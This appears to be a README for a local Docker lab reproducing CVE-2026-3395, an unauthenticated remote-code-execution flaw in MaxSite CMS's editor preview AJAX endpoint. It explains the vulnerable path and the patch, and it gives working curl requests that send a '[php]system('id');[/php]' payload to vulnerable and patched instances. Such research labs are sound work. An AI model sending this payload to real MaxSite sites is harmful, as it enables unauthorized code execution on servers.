本仓库仅用于教育和研究目的。 所有测试必须在本地 Docker 实验环境中进行。 请勿将此配置部署到公共或生产系统。
CVE-2026-3395 影响 MaxSite CMS,允许未认证访问管理 AJAX 端点。当启用 run_php 插件时,用户输入可通过 CMS 钩子系统被作为 PHP 代码执行,这可能导致远程代码执行(RCE)。
本仓库包含:
易受攻击的端点位于:
application/maxsite/admin/plugins/editor_markitup/preview-ajax.php
在易受攻击的版本中:
POST data)通过 mso_hook() 传递run_php 插件处理 [php]...[/php] 代码块eval() 执行包含的代码如果启用了 run_php,这将导致未认证的远程代码执行。
已修补的版本添加了:
if (!is_login()) die('no login');
mso_checkreferer();
这将访问限制为仅限已认证用户。
此实验环境构建两个环境:
| 环境 | 端口 |
|---|---|
| 易受攻击 | 8081 |
| 已修补 | 8082 |
docker compose up -d --build
这将:
run_php在浏览器中打开:
http://localhost:8081 (易受攻击)
http://localhost:8082 (已修补)
两个实例都应成功加载。

AJAX 路由使用 base64 编码的路径。
以下内容的 Base64 编码:
admin/plugins/editor_markitup/preview-ajax.php
为:
YWRtaW4vcGx1Z2lucy9lZGl0b3JfbWFya2l0dXAvcHJldmlldy1hamF4LnBocA==
curl -X POST "http://localhost:8081/ajax/YWRtaW4vcGx1Z2lucy9lZGl0b3JfbWFya2l0dXAvcHJldmlldy1hamF4LnBocA==" \
-H "X-Requested-With: XMLHttpRequest" \
-H "Referer: http://localhost:8081/" \
--data-urlencode "data=[php]system('id');[/php]"

curl -X POST "http://localhost:8082/ajax/YWRtaW4vcGx1Z2lucy9lZGl0b3JfbWFya2l0dXAvcHJldmlldy1hamF4LnBocA==" \
-H "X-Requested-With: XMLHttpRequest" \
-H "Referer: http://localhost:8082/" \
--data-urlencode "data=[php]system('id');[/php]"
预期结果:
no login

停止容器:
docker compose down -v
请仅在隔离环境中将此项目用于研究和学习目的。